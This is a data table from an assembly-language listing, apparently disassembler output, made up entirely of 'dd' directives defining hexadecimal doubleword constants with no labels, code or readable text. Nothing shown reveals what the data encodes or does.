		dd 0A0251AA0h, 8012831h, 0DF632135h, 4B2C8973h,	2400710h
		dd 0AEF0405h, 2D85795h,	6403AC4Fh, 0C1F30959h, 0A78536CCh
		dd 84505DE8h, 0C7378008h, 0E9135962h, 0FF8C063Dh, 1E5D9751h
		dd 0FBDEBDEDh, 0AB0196C2h, 51027DDEh, 9AD5E32Eh, 0C4EA5DC8h
		dd 36DF648Bh, 0A82FFC87h, 1F8E6824h, 4AA45BC3h,	0BAEEA699h
		dd 0B2897218h, 78929105h, 1383E63Ch, 0AA564CF2h, 3EB401AEh
		dd 71810676h, 540DA77Ch, 59B0B84h, 6B59F919h, 7D6B7EA1h
		dd 59B02B84h, 4BE97650h, 199F4263h, 6617F09h, 11B7861h
		dd 6C5586BFh, 0CC74F58h, 8351F04Ah, 6EB605E0h, 855A6525h
		dd 0F332D568h, 2EF0D84Fh, 0ED79C033h, 0F6BB75B7h, 0A3987797h
		dd 215B1468h, 0C758FADAh, 9128687h, 4CECC4DFh, 0A82DB801h
		dd 31683F01h, 4C464F18h, 2A76690Dh, 3C0DD87Eh, 0B46A0F1Bh
		dd 0A11725AAh, 4CEC0178h, 0AE511725h, 0BA2F7E9Ch, 5D33A96Ah
		dd 0E8C9A5D9h, 0BDE17C46h, 3475763Ah, 829D7DE2h, 0F211F055h
		dd 0F39749A2h, 3210097Dh, 52565768h, 0EFB5E149h, 13F82425h
		dd 0C0C69D10h, 0D367FC27h, 4DD74BA6h, 27F122D0h, 73762AE2h
		dd 0A0C095C6h, 9DD830D3h, 31258E53h, 783C6199h,	762DFB4Eh
		dd 538C013Eh, 496B0A68h, 584F025Ah, 50D289DFh, 7018BDB4h
		dd 0F060FDE9h, 5F9A2D5Ah, 10B0A89h, 0A0705D0h, 85D913E9h
		dd 0D1453868h, 7661B94h, 77B3E8F2h, 96B754CEh, 9D64FFAh
		dd 52A229A2h, 0DC55C127h, 61A97281h, 0DAB6A33Eh, 43B4FF2Dh
		dd 78A7515Eh, 62B1C9h, 3895A3CEh, 0AA081E1Dh, 8212C0D4h
		dd 605A252Bh, 913680D7h, 18C78A89h, 285836E9h, 64A201B8h
		dd 44ADF3DDh, 84E923EAh, 805F24ACh, 3EEC14Ch, 0E44A6EF6h
		dd 0CD8CDDAFh, 40396A4Fh, 5FCB0772h, 540BC596h,	0D96C2CE9h
		dd 0F131C3C2h, 7D5E3D27h, 65A61D4Dh, 2D45CC16h,	0CE255AD7h
		dd 27A895B0h, 2101B8E9h, 0CC99CE80h, 881F6AEEh,	74895AF7h
		dd 552392ECh, 971C2C40h, 0C25B4C7Dh, 1C898B85h,	3C2ED689h
		dd 76492882h, 0BDC0E0F9h, 5E9D066Eh, 715CE80Bh,	1D7C16B5h
		dd 65F875DFh, 14A640D5h, 2CABBBD8h, 0E3ED47D4h,	6D2DF587h
		dd 0B5185EC3h, 2495AB0Ch, 44285284h, 0D64D0E3Ah, 0CBC15564h
		dd 3E3DBF0Eh, 5D08F880h, 0A8F59729h, 0E260FAFh,	5D888B2Dh
		dd 0E620374Ch, 425097BEh, 0A6DBF605h, 0CBBB295Ah, 90500DFh
		dd 2978315Ch, 72D50D8h,	57BB1F53h, 0B24D1625h, 7519C45Bh
		dd 8AB25C0Ch, 6458F390h, 0D3EE1C36h, 0D5E9FEC3h, 5DA176F0h
		dd 58617BCDh, 60C2490Ch, 8913DA28h, 45EF68C6h, 0AB20A0BFh
		dd 44723588h, 0E5F73055h, 0E4CB3E31h, 0D62D1D7Ch, 0D8010973h
		dd 0CF0F84D4h, 0EB87875Dh, 6D388F9h, 0FCB810Fh,	50E6D429h
		dd 2EE1388Dh, 0E97C78AFh, 5087525Dh, 5741D783h,	5EF36EBEh
		dd 9CAA8D38h, 2117800Ch, 654A88EBh, 0C5AF67D2h,	0A994BE61h
		dd 2684F7B9h, 0E570D93Fh, 7F406F1Fh, 0A6B037B1h, 0CE829728h
		dd 0A2D519E6h, 33509CCh, 0C4E0F181h, 0C0F69ECAh, 0A405C34Ch
		dd 484BC0FBh, 9B246856h, 34C17360h, 0B03ACC31h,	0B8136CB1h
		dd 27E01450h, 0DBF05C01h, 0C7B8D12Dh, 6649EA68h, 77128064h
		dd 48C15CB3h, 0D41096E5h, 47B90090h, 0F7467C73h, 5A497DD1h
		dd 0B4AA0478h, 4A07FA70h, 0AF3EB2E4h, 618BE9ACh, 0C20525Dh
		dd 1E039DAEh, 51C3FA88h, 0AE70B6CAh, 6A3CFC9Fh,	9268C155h
		dd 0C4B735Eh, 8D4780E9h, 0B621164Dh, 0D5BFC75Ah, 52A15D97h
		dd 0DFB0EF48h, 4CD501C1h, 15F1ABFh, 7A4D31F1h, 198AC217h
		dd 8BBE5600h, 0E9442735h, 7A10ED4Dh, 6D3022F0h,	7AA92003h
		dd 0EEA4C01Bh, 0F6F0393Fh, 312A619Dh, 7E4A5CEh,	102CCEEEh
		dd 6E4C0BE3h, 76BCE701h, 98FE8956h, 0CA95AAB0h,	0A51188Fh
		dd 0AE473C43h, 0E1D0BA27h, 0C6E84620h, 581E98C5h, 4B5F6328h
		dd 90FEC165h, 0D108B026h, 45F61D82h, 0B1EB450h,	1DF8AC7h
		dd 4F9168A0h, 88171923h, 7F8CFACFh, 0AC514EF8h,	3EE913ABh
		dd 0F0A81F84h, 113E45Eh, 0AF2FE87Eh, 0E220DC3Ch, 0FE755650h
		dd 0CABB8597h, 0F333902Ch, 512E42C1h, 0E90F467Bh, 28695FCh
		dd 8B6855E1h, 14565725h, 97BF5780h, 2E5C7E1Fh, 2849F901h
		dd 7F5EC499h, 3BB9BA67h, 660968C2h, 702D6E6Ch, 0EE905D71h
		dd 0F9278F7h, 0FE404A25h, 7BF17304h, 0D292692Ah, 0B517C6FDh
		dd 93FD9045h, 3D48D162h, 4BB07D7h, 0C9602174h, 9DC357Ch
		dd 30CF684Dh, 0F0604B5Ch, 900BEF49h, 0F70316DFh, 5F35FCD0h
		dd 782DCB00h, 739F08D7h, 0FDABD6E9h, 150613D3h,	0E2FDC8EEh
		dd 13EA63F1h, 0FC8D25B5h, 668AE142h, 0F5800349h, 0B294E9EBh
		dd 1EBF4600h, 8356116Fh, 9D4FF2C7h, 4800834Ch, 0D13BBA3Dh
		dd 0BF681E6h, 51EF390Ah, 92AAC05Dh, 70CA2657h, 961C1075h
		dd 0B74BF3A0h, 64F2EA49h, 0FD984902h, 7972DB09h, 7BD8DD87h
		dd 719D1498h, 0F9E9E2A7h, 0A4B38B68h, 75CB8018h, 0FC526706h
		dd 0ED73B53Ah, 148A9209h, 9495AE7h, 0B442EA34h,	82435E5Fh
		dd 7F4251B3h, 0F8BCAE41h, 0D29DE740h, 2C7149A0h, 32BA6C67h
		dd 0C25DEFF3h, 380E7FE1h, 0CAC09A4Fh, 81EEE9CEh, 0C82D2CCBh
		dd 18A056Ch, 117C953h, 38595828h, 0FEBB8181h, 0B07F3408h
		dd 230B880Dh, 5F4B6FFAh, 0DF4CAAE6h, 2C372004h,	10CFC389h
		dd 555A2506h, 32CD43C8h, 0A12AD2Eh, 0E90DC918h,	0F8095F75h
		dd 0B4FEA4D3h, 604AE9B0h, 0EDAE86C4h, 0F9B61088h, 44A19460h
		dd 0C8F60589h, 0BDAD1D4Bh, 0BB5E7794h, 0FE010E0Ch, 5F305B67h
		dd 8F7C0164h, 0F5F2291Ch, 0E1002BBFh, 935979BBh, 0FEFD9070h
		dd 0C17AFC10h, 6706B76Ah, 4CDE201Eh, 0CC390F31h, 0D1C072F3h
		dd 218DC52h, 53C405E1h,	7613BB40h, 0DED95581h, 0B8291278h
		dd 340A289Ch, 0FE0C1EE2h, 3F9FE7CAh, 0B036F8DBh, 0BC701668h
		dd 0A0CD6700h, 874908EDh, 6AE9D917h, 5BC86BA4h,	0B147F807h
		dd 0F80436F3h, 350572CBh, 0D23BECCAh, 0E1FEA8C5h, 0E9CB01EEh
		dd 88126404h, 0DA68DE0Ah
		dd 7FA73E73h, 0B9E906C0h, 9564D05Fh, 3FF95980h,	29692743h
		dd 809AD42h, 78F0884Ah,	0EEC8B097h, 407E0E8Ch, 14DE0116h
		dd 5E5808C6h, 5ACBBB4Bh, 0EB72EB12h, 77F61CF5h,	0E5828AA9h
		dd 3C5C8871h, 982B48ADh, 0CEB8B743h, 5D01E829h,	0D52FBF05h
		dd 0AC7B2D73h, 7FA755Eh, 0C16E1E2Eh, 5B070514h,	41831F2Ch
		dd 1C17E19h, 0EF2EF85Ah, 0FDA24B37h, 8245DDD1h,	2173388h
		dd 5DEE3158h, 7826A080h, 0CCE3694h, 61488411h, 8410FB9h
		dd 92845D5h, 1C4226h, 47D72978h, 0E4BFD189h, 17D60B2Ch
		dd 4505567Dh, 0FD0714EBh, 0A36E7F16h, 0C7FB4A54h, 0F768419Fh
		dd 6E87E21Ah, 29CE8CF3h, 0F0FA48h, 167E71B9h, 58EE781h
		dd 0F733F056h, 0A9D1BED7h, 0BE0486B8h, 0B4B1291h, 0C54B3B22h
		dd 79D1B36Eh, 7F5EA46Bh, 0E095D2Fh, 0D9BF98F8h,	0BBF44980h
		dd 5D325B42h, 6B200846h, 2F1FB04Ah, 4E6C5029h, 0E5E9530Bh
		dd 0CBE6DDFDh, 0EE185762h, 0DFF702E7h, 0FADCF8E0h, 97D24E97h
		dd 0A2452DFBh, 0B7BE48A0h, 0DE255554h, 0C7BF39BBh, 26329B90h
		dd 4217DF5Bh, 0DB5E30B8h, 0C0E91755h, 0CCB86840h, 5F345E6Dh
		dd 805DE801h, 0C93D90EEh, 8B579D73h, 0E7677D40h, 0EDFFE98Dh
		dd 5573D500h, 0DA334C9Ah, 4B02529h, 0C049657Bh,	53EE276h
		dd 5F27322Fh, 1D995A9h,	0D4C14289h, 34F64257h, 0AC06801h
		dd 6921316Ah, 92492F9Fh, 2AE0AA8Ch, 0B105CA13h,	39AA2603h
		dd 0EAC830A5h, 65D4B881h, 4E4A7A27h, 54E480ADh,	87BF5359h
		dd 662103FBh, 0BAF10BBh, 0E9DCA7DFh, 8EAA6545h,	0EAC11D71h
		dd 69677CAFh, 0ABA3D704h, 8475E110h, 0C9891914h, 0BE2532Fh
		dd 0E2E8C3EBh, 143168E7h, 372C0C3Ch, 97C0D5C6h,	0FE2E6C5Dh
		dd 8E00B31Dh, 0E9641F73h, 0D8B65AC4h, 204BC21Fh, 0B8E47AE8h
		dd 0E2F92DE0h, 35735D16h, 50D9E942h, 9068161Fh,	615606Eh
		dd 1953DD07h, 0E2EB8F83h, 0DE7BAD68h, 7E776098h, 0A18061ECh
		dd 9E7A01F5h, 0A8E9FB31h, 0BA66827Ch, 0C0B935FAh, 811CEEC1h
		dd 68036050h, 9E31192Ah, 0F612375Fh, 91F3D500h,	97449A41h
		dd 0CF0263FCh, 7521716Bh, 0C124AD0h, 44BE149Eh,	0AFBD47EAh
		dd 29D6BECh, 99793490h,	0C393A274h, 0F55521ABh,	0D27B071Eh
		dd 95629837h, 0E7E8B55h, 37BE1338h, 0BA01C47Eh,	14190DDh
		dd 92221173h, 99513E05h, 0B1D8F803h, 8005A490h,	0ED723929h
		dd 0CB4E2924h, 9AFBFD20h, 42AA0103h, 5D77CA7Ah,	8B56DC31h
		dd 5D732372h, 4CDFA1BAh, 972B712Eh, 3681B8F6h, 43694C66h
		dd 0CB67A42Ah, 0E723EE0Ch, 3CF0C64h, 430EA21Ch,	8D7529E9h
		dd 0BEF51824h, 0D1C8280Bh, 13AC0DACh, 58DE30C7h, 44225281h
		dd 2F6168C1h, 16DA2056h, 559D0E70h, 567575BAh, 0F2297196h
		dd 53A76FE5h, 0AFD008F1h, 81B55100h, 0E6E4E580h, 0EC76EDh
		dd 0B05033C5h, 0CA05E9D7h, 0C15F7292h, 198128ADh, 47114B5Ah
		dd 0F77511C8h, 921E6013h, 1E6C080h, 0B7536606h,	0D9FE30BBh
		dd 3AF3C15Bh, 41C1C844h, 2D004016h, 39441886h, 0BB040BB0h
		dd 7834685Bh, 47C68DEAh, 107DC904h, 4F36E9B7h, 8B3CE418h
		dd 34B7ABC0h, 0E684CF80h, 1FBAC4C7h, 56445331h,	0FA137F86h
		dd 0D6EACE62h, 0A90CB5A8h, 6FA04FB4h, 1DD0BE3Fh, 39B78D58h
		dd 17653C91h, 0FBD06A2Dh, 4AA69D08h, 0C196E1A2h, 0B8CC7A13h
		dd 8A334001h, 78AE144Ah, 589D5C76h, 6EC2000Ah, 0E9B0B252h
		dd 4E97CDE1h, 9241F608h, 9682567h, 5160F2FCh, 7B8028B1h
		dd 7E92E7C1h, 7EC13C0h,	4D2B4506h, 68373129h, 2DBB0023h
		dd 212CC93Ch, 0F2DCC4DAh, 0EB830552h, 5107DACh,	625C25D8h
		dd 0B9BC5FAFh, 0B0D96BDh, 3BA6200Fh, 7E10D57h, 84BF8744h
		dd 7DF8EFF7h, 0CA297FA9h, 836DD2Eh, 0A641F48Eh,	0D0EBD16Ah
		dd 3897FDFh, 9B30C07Eh,	5D5E3572h, 44407629h, 92841EEh
		dd 0AA5682Ah, 0FC692330h, 56FA28B6h, 0FFBD5B53h, 1252C1D0h
		dd 68771F4Ah, 2E98AD54h, 0F32F4973h, 0B0CD6419h, 0BCF077CCh
		dd 13FCBE03h, 0C4734558h, 1616FDEBh, 7AFDE58Ah,	48457060h
		dd 0D4BC57BAh, 0E9120720h, 38BC0F9Dh, 89FD1BC9h, 0A538854Ch
		dd 2D72C0C8h, 0E8564308h, 1013227h, 3FF1E90Dh, 0FDC8449h
		dd 0AFA5D635h, 0ADF65140h, 9FACE3D2h, 23826A62h, 820998BCh
		dd 759CF9C6h, 0E06852F1h, 0B8CF5C18h, 6F0A1766h, 0B737544Fh
		dd 5F4DE12h, 0F8D8090Dh, 8FF5B15Bh, 0C154B201h,	0C08A32E2h
		dd 0EA80CAFEh, 0BDC0B763h, 0BF801B33h, 2F1617ABh, 2904AF5Ah
		dd 0EBF46EEBh, 0E2251358h, 565FEE22h, 7C64D1C3h, 0B0A0B743h
		dd 904B2B4Eh, 6F80B7E6h, 49541E05h, 9C111EC1h, 723C1A2Fh
		dd 0C96AC460h, 0E9160333h, 29AE5D60h, 0F21B346Bh, 0D7FEF125h
		dd 0BBBB427h, 71DD5729h, 82D3A515h, 0E0F6B3A5h,	0CB3696E9h
		dd 2120D70Fh, 399366A7h, 1B4032FCh, 0F1E13980h,	2F727BF2h
		dd 3F480BFBh, 5158681Bh, 442A10A2h, 76FEBE03h, 1EE83039h
		dd 0CF25C689h, 0BBC1905Ah, 0F26F278Ah, 316A4BE0h, 0F818F024h
		dd 0E84C7009h, 7E3EB90h, 0BD55500Ch, 0D394248h,	0E91885FAh
		dd 0E2833BB0h, 1130DE1h, 0E290421Bh, 0D9BF2A58h, 8052645h
		dd 68013C53h, 185C1CF2h, 0EFA3DC30h, 315F9285h,	12EBF9DAh
		dd 0FCB8DFD7h, 8EDC0D2h, 54E4072h, 129636C6h, 1C18E7h
		dd 26A6EDDCh, 0A99030E0h, 0B2398C35h, 7F0081FBh, 0EEAB8157h
		dd 351A027Dh, 9E103EA7h, 71C20C08h, 615102C4h, 3F48E7EEh
		dd 0D5904CB1h, 0CCFA052Dh, 1B1BF13Ch, 0E53A96DBh, 0F5FF21AAh
		dd 72326AD1h, 6CBBA9DCh, 0F1F632D3h, 6B5DEF97h,	0CF719F9Eh
		dd 6F70617Bh, 8282EE9h,	0F0BC885Ch, 0C88B7727h,	0A5C382F6h
		dd 302837F8h, 56F08473h, 0AC3E9CF1h, 6EF94F30h,	4054F1A4h
		dd 4F012CA5h, 15204341h, 4B409F1h, 0FC7E0D3Ch, 0A7759A88h
		dd 0E9D9ABF4h, 0E3A485EDh, 0B44B2F7Ah, 43D061E2h, 0C3AB5A4Eh
		dd 0C893C108h, 25FE3BE9h, 6DEED8A9h, 0DD4C13B2h, 42097F28h
		dd 0FE50BD05h, 0BF08A0BAh, 32D571A2h, 68410C56h, 0E6623D0h
		dd 0B58B1A2Ah, 5C7019DEh, 0EE830C1h, 3329688Ch,	0B81A1FAAh
		dd 69182EC1h, 86E02A6Ch, 43EA7C95h, 15120AA1h, 0A2ABC7F8h
		dd 39758402h, 181394F3h, 848BADF9h, 0B160884h, 87C6B773h
		dd 372D3268h, 491E6514h, 3FB31343h, 8DF6E708h, 307BE831h
		dd 2740C845h, 6F680553h, 903C5475h, 88243AE4h, 2801C4Ch
		dd 174C12CEh, 7F56604Bh, 0F3E12D7Ch, 894EEF70h,	0BC6D3DCh
		dd 7AC73074h, 45972C00h, 8DB086CFh, 5C290240h, 0D75972D5h
		dd 0DB685D04h, 1223B30Eh, 72D11036h, 4404904h, 0AC6F8968h
		dd 22D82CE2h, 85E280E8h, 0D1506C56h, 66D22AEDh,	2F967453h
		dd 151E3BFBh, 0F36BC9EAh, 0A5C7FCE0h, 0D369D7D9h, 2C309A3h
		dd 0B09E147Fh, 39AA4ECFh, 0DB442FA9h, 7397C0CAh, 33C1E244h
		dd 2662EC07h, 68F5668Bh, 78EECA5Ah, 925450FEh, 0F17B41C3h
		dd 40C62C2Ch, 375BBCE0h, 0ADED6FDDh, 0DFD13BA7h, 5DFA3E2h
		dd 4D9FC050h, 0B768A30h, 574FC9FAh, 52489BD0h, 0D17B0E5Ch
		dd 0AF3245E5h, 17CA0B43h, 0C1BB8C05h, 73DA44EDh, 0A3B800D7h
		dd 3578D963h, 0A11000A6h, 0F4790530h, 0E94A071Bh, 0EC65F71Ch
		dd 138B0D1h, 0CE723EB8h, 41E0C16Dh, 781893DEh, 778B84A2h
		dd 0DFBE5600h, 1358FB34h, 94134F3Bh, 2AB329FAh,	2D5B3FA9h
		dd 0A31D4214h, 0F9A75E5Eh, 825ACC3h, 6B40B096h,	0BF5C4C4Ah
		dd 0E2D22D0h, 70CD7C11h
		dd 4F94D601h, 97F02150h, 2C24F945h, 50261010h, 40CCD95h
		dd 0C14AF441h, 1C2CF3ECh, 0F1101DE8h, 3BA1914Ah, 0F4C7282Fh
		dd 58CFA7C2h, 3FBB2446h, 57609F4h, 0F956C357h, 0CA2A7C9Eh
		dd 0B437C76h, 0E1FF044Fh, 85880B65h, 22EF5889h,	0D4DC1C31h
		dd 0B2C77F42h, 663D4028h, 88B6C3F3h, 0C49D5AF1h, 0FC7E8900h
		dd 36D30430h, 2DCB3DFAh, 9BE985BCh, 60606CF1h, 0C036668h
		dd 664B982Ch, 242BCBBAh, 2D12A657h, 8D287A8h, 6602AC9Ch
		dd 74547C68h, 0E216291Ch, 6DB05B8Bh, 0F791FC88h, 0BAEC8060h
		dd 0B8DC5AF6h, 0B151003Bh, 0E9CC2013h, 0D7104EBEh, 0EDF373A0h
		dd 92955407h, 0FA26D731h, 41F87809h, 22A26EC7h,	0AD02B573h
		dd 104CF36h, 50B8FEB0h,	1EBAAEECh, 3DBFCB83h, 0A2D22B25h
		dd 2A7AF507h, 1BB22925h, 5B50AF8h, 0DA817E1h, 0F03E55A1h
		dd 6900030Dh, 202D2C13h, 1F172601h, 0F54BE995h,	42CE922h
		dd 0B49B5021h, 3882FE91h, 0C3548005h, 0FC252E51h, 6D42FD7Bh
		dd 17C00808h, 0D5EC5041h, 0BDE8281Fh, 81CEA626h, 0C47CBEBBh
		dd 5211E942h, 1C5D28B5h, 0EFBC3472h, 0D2B8AB48h, 0CD89C815h
		dd 1417097Eh, 9A007696h, 84F134E7h, 40FACDFEh, 0C191424Eh
		dd 0C8CBA0C6h, 0F50513h, 2D475B7Fh, 1F587C62h, 0F88E295h
		dd 0C119407h, 44A1E5E9h, 9D0EFBAh, 0C90150D4h, 580340C0h
		dd 4368029Dh, 4EB0231h,	0F16DE5Dh, 0C3F6700Bh, 10841C15h
		dd 58A01D81h, 6677FA5h,	9A1655A5h, 407BEA97h, 285E5DD2h
		dd 0E9F67159h, 5CFC0DADh, 2B857A17h, 0CAFB8A16h, 0E2BD5F53h
		dd 0DDD0E9C2h, 3B96F3DBh, 968ECB0h, 703C56D1h, 0E0B34860h
		dd 89B01F01h, 0E699E9D6h, 78D4D63Dh, 4360834Bh,	0D44EEB8Dh
		dd 0C8E5BB05h, 921A2CBCh, 0B0F2E665h, 5F420C46h, 77FA4805h
		dd 215D1812h, 0C5D08FAh, 2668B9B0h, 21134C25h, 109DB210h
		dd 0C99E14F7h, 19DF4635h, 54640868h, 5DEA7F09h,	8173E747h
		dd 6FA82F5Ch, 494DFB9Fh, 4D02C13h, 0F42DDE10h, 0E971B2C5h
		dd 75CE887Ch, 0C0DD4AD5h, 0CBB2704h, 5DEBDF81h,	297EC7Fh
		dd 0B9C0B2C7h, 69AC0FDh, 0E02C5BB7h, 334F3F44h,	5894A6B2h
		dd 9E12610h, 9928A168h,	0D7F852F1h, 0DEFEFDDCh,	52565030h
		dd 7744BA05h, 0CD011C33h, 72C8685Ah, 6FD975C2h,	1391BB40h
		dd 93C9067h, 0D054E9D8h, 97BB0DF4h, 0C24BFBDEh,	6B5782EEh
		dd 3518757Bh, 770B678Bh, 0FDCF210Ah, 0DD988B46h, 0BFE013F3h
		dd 0A93429BBh, 6317F9C9h, 0FAE4F6E9h, 12B37438h, 99D9883Ch
		dd 74AF2F32h, 728E04D0h, 0DE57096Ch, 0EFCB62CEh, 9C6468DCh
		dd 2D125B0h, 0FC23BEAh,	0A5C82584h, 434ACA68h, 35C961A8h
		dd 837CA408h, 4B65C33h,	6E4AB427h, 21C288E9h, 820E20A5h
		dd 0E06CE925h, 13C5BD32h, 0AA1D7465h, 0D5CEE4C2h, 0D24C04C4h
		dd 0D5172526h, 3D7BBF10h, 73232224h, 0FC815B13h, 0E8C0C2B0h
		dd 24285859h, 85ED3034h, 8DB2BB7Bh, 4D2A1200h, 919FE91Dh
		dd 3C4D679Ch, 348F67Ah,	0B55AB050h, 585209E1h, 0D2879004h
		dd 5966422Ch, 0FA95B357h, 548B7FF8h, 0FE197854h, 0A57BEE7Fh
		dd 1FECEC61h, 5705D6B9h, 4EB8231h, 0EA0EE7DCh, 61E6FEC2h
		dd 0D839358h, 1B9740F2h, 9F84776h, 0A82FE912h, 57DE34ECh
		dd 2A39F180h, 6C10A79Fh, 1D0D004Dh, 0D14B7430h,	6B8EC0E8h
		dd 29D6B7ABh, 2F0BF05Ch, 88547178h, 5B074F41h, 67E56852h
		dd 0D3B630EEh, 3133E435h, 5ACFA85Eh, 3A7B8B0Fh,	0E9FA85F7h
		dd 580130C7h, 2697031Fh, 9548D37Ch, 5BCF35Fh, 46161E4Eh
		dd 87450FAh, 45715F2Dh,	7C712B6Bh, 17E8C4B4h, 25CD9DAAh
		dd 25C230FFh, 0B8F28E5Fh, 0CCE05C78h, 0DF55B043h, 0ACE8A87Eh
		dd 0B9475A65h, 8AE497FDh, 6CAB2468h, 515D89EBh,	0B24BE771h
		dd 0DC255DD0h, 5E1F9C51h, 2E9B41h, 0FB6D22C1h, 82F02D14h
		dd 0E97C7205h, 44BF5518h, 8036F356h, 5F0588A4h,	4C0A7617h
		dd 740C3ACh, 9A71F2E9h,	0E81D3509h, 0BE8680FAh,	775B4A5Fh
		dd 70EEC641h, 833844A9h, 4F580740h, 1FD8AE01h, 7D4578AEh
		dd 414C4663h, 0D14040Ch, 3F235931h, 2CE96DC8h, 8C4BC6BBh
		dd 0DAC85EF3h, 46515705h, 28C0DBF7h, 978711C8h,	0D70921D8h
		dd 0A6CF1Fh, 7F5C1C28h,	0A6DABD10h, 685B0880h, 78B42B5Ah
		dd 818C4020h, 2421EF07h, 31B712D5h, 0AF59746Bh,	35E4B9D0h
		dd 4A65BA32h, 0C506804Dh, 0B8AB2F7Bh, 0A9D420CDh, 72C48007h
		dd 3AA2E288h, 0B05F0508h, 0FD48F95Ch, 7D07D6A8h, 0B941619Bh
		dd 1E09E67h, 0BE917F9h,	5B56B318h, 0AAD677FDh, 0D82FFACDh
		dd 25E8546h, 8F68D0D0h,	771BB529h, 423A22D8h, 1CCC4D58h
		dd 0FB8DDD87h, 0EA6064Fh, 0CB721ED3h, 0CD01BDC5h, 422562D6h
		dd 9188EFE1h, 68E90208h, 0C1C0FEFDh, 7DC56A16h,	43B38AA4h
		dd 0EFDD746Bh, 1873A0FBh, 4B640968h, 558240A2h,	95FA1E2h
		dd 273DD8Fh, 0D49EF72Dh, 5A5DA3AAh, 0BFB64B58h,	0B8B9F885h
		dd 64B3FFF4h, 329BFFD3h, 0C6A1E90Dh, 5B7C9EA7h,	0B5C7A657h
		dd 662E8269h, 0CB8C7102h, 42D168F7h, 0EBE1EBF7h, 0FBF4137Fh
		dd 0F8AEA104h, 0B1681A8Ch, 0C74827ECh, 0BA802CECh, 0FB1D24D5h
		dd 0ADDF3DA6h, 26BE58D7h, 0B502ED45h, 0F8F9BDF4h, 7289F260h
		dd 12F076EEh, 0ED9071E9h, 10244C37h, 0B82F7088h, 2FF88ED7h
		dd 992CB8C1h, 12B980F5h, 147F0331h, 723C3837h, 0D8134697h
		dd 126C931h, 0AB02DBCEh, 822E7574h, 1A6D511h, 0CFD2C180h
		dd 0C8831FCBh, 392244E9h, 326C3763h, 0E5D1E51Fh, 4ACE517h
		dd 40F4A1B4h, 46430849h, 0D15A0B2Dh, 68504023h,	77011871h
		dd 14055872h, 0E9E4CCBAh, 0BC514E49h, 55BD451h,	5A29027Fh
		dd 0F3FB4A95h, 5DEE12C9h, 9EBD62EBh, 0CA3D65E1h, 1336E4C0h
		dd 7C0C1A60h, 904CA54Eh, 6F7E0BA1h, 49504DB5h, 0EE52E91Ah
		dd 0EA7050h, 2DD0F740h,	330E39DFh, 0D6E50504h, 5FBB6E5Ah
		dd 0CBCBFB54h, 25E516E3h, 68C62AE8h, 95A827F8h,	1612EFBAh
		dd 6500494Ah, 266E13BFh, 0B0D9057h, 2D476C12h, 575ECC07h
		dd 7DE14381h, 3B2173B1h, 0AC7FE9A1h, 0F42F6CDh,	30F43BFDh
		dd 48E9F321h, 95923DAh,	825B5F53h, 80DF87D7h, 0CE350A88h
		dd 902AD720h, 6B1BEECBh, 292C15ECh, 820F9D6h, 0DAAE912h
		dd 0B4C477F8h, 9C3ED2F4h, 518419FDh, 6B0C128Bh,	0EBA8B283h
		dd 0C317265Bh, 7384DFF9h, 0A9031378h, 9B4A334Ch, 8FB4147h
		dd 86BBA23Ah, 27418F66h, 6E594698h, 5F112298h, 4D269F7h
		dd 1D0904h, 0DC86E230h,	52681266h, 0ACC89750h, 0D463F654h
		dd 95CDE90Bh, 3049CCAEh, 2C2C049Ah, 6095B17h, 8B775946h
		dd 0F35C2026h, 0B4506760h, 203EB229h, 0BD040BC7h, 1A333D90h
		dd 0A713B4BFh, 19762175h, 5F39F27Dh, 0A692CA90h, 4373DDEFh
		dd 4308D8A9h, 0C5680973h, 805C7955h, 388137DDh,	601743BDh
		dd 84EB9AD2h, 0EE2FAFBAh, 9A84FA4Bh, 0BD4D1FBh,	0D9422A16h
		dd 426C0A17h, 915203C6h, 4AC1AD08h, 0C2FE67C7h,	83536413h
		dd 141C4208h, 833AED04h, 3BC0BF03h, 2F70D132h, 0AA5E348Bh
		dd 620975Ch, 0BA7C2FF6h, 0CE3F7376h, 7D10467h, 56F1BDE9h
		dd 0EFA7853Bh, 246CC4C7h, 81755E8Dh, 870EE9F4h,	99DDEB14h
		dd 0FA57F8FBh, 8A16D856h, 56951BB5h, 0EB0EB40Ch, 19705B61h
		dd 0E34B5207h, 0F81FA87Eh, 18BA6A0Ch, 75510FBFh, 0F74450A6h
		dd 3F33B501h, 0E1E14C56h, 0B03424F9h, 713CA055h, 31197D69h
		dd 59C9D060h, 0B753D828h
		dd 0F780621Ch, 586C627Ch, 0E0C00070h, 0B50F5108h, 0A5D5F644h
		dd 4998211h, 0AF48C12Dh, 0AA46C45Bh, 0DF0F8C2Ch, 0AD181F13h
		dd 96C923DFh, 0FE340195h, 505366C6h, 1A176B51h,	701EACC7h
		dd 935B5B2Dh, 5B82954Ah, 0C86C4354h, 2F64F1EAh,	80F4047Ah
		dd 0C2020632h, 583055BDh, 98974CD6h, 1F3180F9h,	0B85217B7h
		dd 0B50E1D2Ah, 2E3CCCF9h, 8925F3E6h, 0B971F545h, 5E26EC2h
		dd 25F0AA29h, 0E0541F44h, 9867893Bh, 0F00F1372h, 69096313h
		dd 2027609Eh, 494EDEE1h, 647D3118h, 401F9057h, 9A2D6823h
		dd 905D4C78h, 9FE95A8h,	516F557Ah, 4AAD5C32h, 9FC5F52Fh
		dd 9B032327h, 7F19FFD4h, 4D88FEC8h, 5EFCDD90h, 1B4FB04Eh
		dd 0ECCE0A56h, 0F1814180h, 5E722AC9h, 0D400FF55h, 0C15D06F2h
		dd 0BC46C151h, 7EC578FBh, 0EE93D0ADh, 5D31543Dh, 7564073h
		dd 5990EA4Ah, 582A15DDh, 0C05BB71Bh, 0DFCAE94Bh, 0E5EDBDA8h
		dd 3A497117h, 3B3E3100h, 68017FF3h, 34081CDDh, 0B814171Ch
		dd 0A6BBB5B2h, 0BFEEC098h, 0C74AAE0Dh, 85686A34h, 0EA7E9777h
		dd 171C3408h, 139E8A14h, 0BEC0E6E9h, 4E93685Fh,	27BF8C3Dh
		dd 23EB0513h, 0E7A4100h, 0BF76418h, 12AF68D6h, 0D32FDFC6h
		dd 7AE4C6DEh, 1A862F52h, 4B091C20h, 7DF62DC5h, 0B27195Bh
		dd 78B2ED6h, 7475A5BFh,	0E1C3A546h, 7B4C2139h, 8789A2B9h
		dd 80053170h, 0CF3025F1h, 2F559ABFh, 0F2E508FBh, 2B7AF55Ah
		dd 80E0C928h, 664B2505h, 0E70F173Dh, 2E0C0003h,	2FE928CDh
		dd 4EBB6EABh, 0A4E45BD9h, 7E018E3Ah, 461E9D17h,	0D0BBE40h
		dd 9B30326h, 71E7E9F5h,	52C23F2Fh, 65689EA6h, 3ED2BF5Bh
